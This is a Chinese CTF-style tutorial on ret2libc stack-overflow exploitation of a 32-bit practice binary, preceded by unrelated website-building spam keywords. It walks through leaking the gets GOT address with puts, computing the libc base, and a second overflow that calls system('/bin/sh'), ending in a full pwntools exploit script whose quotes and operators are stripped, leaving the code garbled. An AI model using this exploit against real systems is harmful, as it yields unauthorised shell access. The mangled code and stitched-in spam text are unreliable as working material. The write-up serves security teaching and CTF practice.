顺德品牌网站建设咨询,wordpress友情链接显示个数,wordpress恋月,网站建设综合实训心得参考#xff1a;栈溢出实例–笔记三#xff08;ret2libc#xff09; 地址#xff1a;https://qingmu.blog.csdn.net/article/details/119481681 目录1、栈溢出含义及栈结构2、ret2libc基本思路3、实战3.1、二进制程序3.2、查看栈结构3.3、第一次栈溢出3.4、第二次栈溢出1、… 参考栈溢出实例–笔记三ret2libc 地址https://qingmu.blog.csdn.net/article/details/119481681 目录1、栈溢出含义及栈结构2、ret2libc基本思路3、实战3.1、二进制程序3.2、查看栈结构3.3、第一次栈溢出3.4、第二次栈溢出1、栈溢出含义及栈结构
参考前面博文
2、ret2libc基本思路
在当一个程序开启了NX栈不可执行的时候我们没办法去写shellcode而且程序中也没有system函数供我们调用的时候那此时我们该如何做呢
首先程序本身没有system但是我们需要getshell那么就必须要通过system才可以那么程序中没有system哪里有呢毋庸置疑libc库中有system呀此时我们就需要通过程序中的libc的函数来泄露libc中的system地址。从而执行system函数并传递给system函数参数为“/bin/sh”,从而getshell。
思路说完了来实战一下吧。
3、实战
3.1、二进制程序 我们使用IDA查看一下汇编代码 反编译成C语言看一下 此时程序中有gets函数并且s的长度未做限制那么gets函数就是溢出点通过gets来进行栈溢出。其中还有puts函数我们就可通过gets函数来泄露libc中的system函数地址用puts函数将其打印出来。
注意在泄露的时候我们需要通过gets函数的got表地址加偏移来泄露got表中的system函数地址具体含义可百度一下这里不过过深的说明。
3.2、查看栈结构
接下来我们就是用gdb查看一下栈结构 此时我们eaxgets函数第一个参数地址的地址为0xffffd3fc ebp地址为0xffffd468 ret-address的地址为0xffffd46c
所以我们想覆盖到ebp不包含ebp的话就需要0xffffd468-0xffffd3fc0x6c 长度的字符串 覆盖ebp的话就得在家0x4个字节此时就到了ret-address的地址了到这这里我们需要返回到哪呢
正如上面所说我们需要通过gets函数来泄露got表中system地址。
到此我们并不能getshell我们还需要在来一次栈溢出从而执行system来获取getshell,那么如何再来一次栈溢出呢
我们可以在执行完puts函数后让其执行main函数那么程序又会执行gets函数了那么我们就可以在做一次栈溢出啦。
3.3、第一次栈溢出
第一次栈溢出我们需要泄露libc中的gets函数的地址其第一次操作时候我们所希望的栈结构如下 如何查找一个程序的rop链呢
ROPgadget --binary ret2libc3 --only pop|ret工具ROPgadget
参数含义–binary二进制程序–only正则匹配在这里我们使用的是pop ebp ; ret。部分Python代码如下
puts_addr elf.plt[puts] #获取pust函数的plt地址
gets_got elf.got[gets] #获取gets函数的libc地址
pop_ebp_ret 0x080486ff #rop链地址
main_addr elf.symbols[main] #main函数地址
payload a*0x6c junk p32(puts_addr) p32(pop_ebp_ret) p32(gets_got) p32(main_addr) #payload
p.sendlineafter(Can you find it !?,payload) #在打印Can you find it !?之后注入payload
gets_addr u32(p.recv(4)) #接收gets函数的libc地址到此时我们就到了gets函数的libc中的地址那么接下来我们就要获取system函数在libc中的地址。
现在有了gets函数的libc地址我们需要先获取libc库的基地址在获取system函数地址。
libc库的基地址如何获取呢 我们就用获取到的gets函数的libc地址减去其偏移就可以啦。
具体Python代码如下
libc.address gets_addr - libc.symbols[gets] # 获取libc的基地址
system_addr libc.symbols[system] # 得到system函数的libc地址那么我们的准备工作就做完了就可以开始第二次的栈溢出来获取getshell啦。
3.4、第二次栈溢出
此时我们已经拿到了system函数的libc地址我们只需要执行system函数并给他传入参数“/bin/sh” 就可以getshell啦。
如何传入参数“/bin/sh”呢
我们可在栈溢出的时候再让其执行gets函数给其输入一个“/bin/sh”就好啦值得注意的是我们输入的“/bin/sh”需要放到bss段中的一个地址上去因为这个不会随着函数的栈被覆盖或回收等机制导致我们找不到“/bin/sh”的地址了。
bss_addr 0x0804A080 #程序中一个bss段地址
gets_addr elf.plt[gets] #程序中gets函数地址
payload2 a*0x6c junk p32(gets_addr) p32(system_addr) p32(bss_addr)p32(bss_addr)
p.sendlineafter(Can you find it !?,payload2)
p.sendline(/bin/sh) # 输入一个“/bin/sh”此时我们分析已经完成了来康康结果吧 此时我们已经getshell啦大功告成 respect。
完整的Python脚本如下
from pwn import *
import sys#context.log_leveldebug
context.arch i386
#context.terminal [tmux,splitw,-h]if len(sys.argv)2:debug True
else:debugFalseif debug:pprocess(./ret2libc3)elfELF(./ret2libc3)libcELF(/lib/i386-linux-gnu/libc-2.27.so)
else:premote(x.x.x.x)elfELF(./ret2libc3)libcELF(/lib/i386-linux-gnu/libc-2.27.so)def debugf():gdb.attach(p,b * 0x08048641)puts_addr elf.plt[puts]
gets_got elf.got[gets]
pop_ebp_ret 0x080486ff
main_addr elf.symbols[main]
payload a*0x6c junk p32(puts_addr) p32(pop_ebp_ret) p32(gets_got) p32(main_addr)
p.sendlineafter(Can you find it !?,payload)
gets_addr u32(p.recv(4))
log.success(gets addr: hex(gets_addr))
libc.address gets_addr - libc.symbols[gets]
log.success(libc addr: hex(libc.address))
system_addr libc.symbols[system]bss_addr 0x0804A080
gets_addr elf.plt[gets]
payload2 a*0x6c junk p32(gets_addr) p32(system_addr) p32(bss_addr)p32(bss_addr)
p.sendlineafter(Can you find it !?,payload2)
p.sendline(/bin/sh)
p.interactive()关键性的注释上面都已经注释过啦。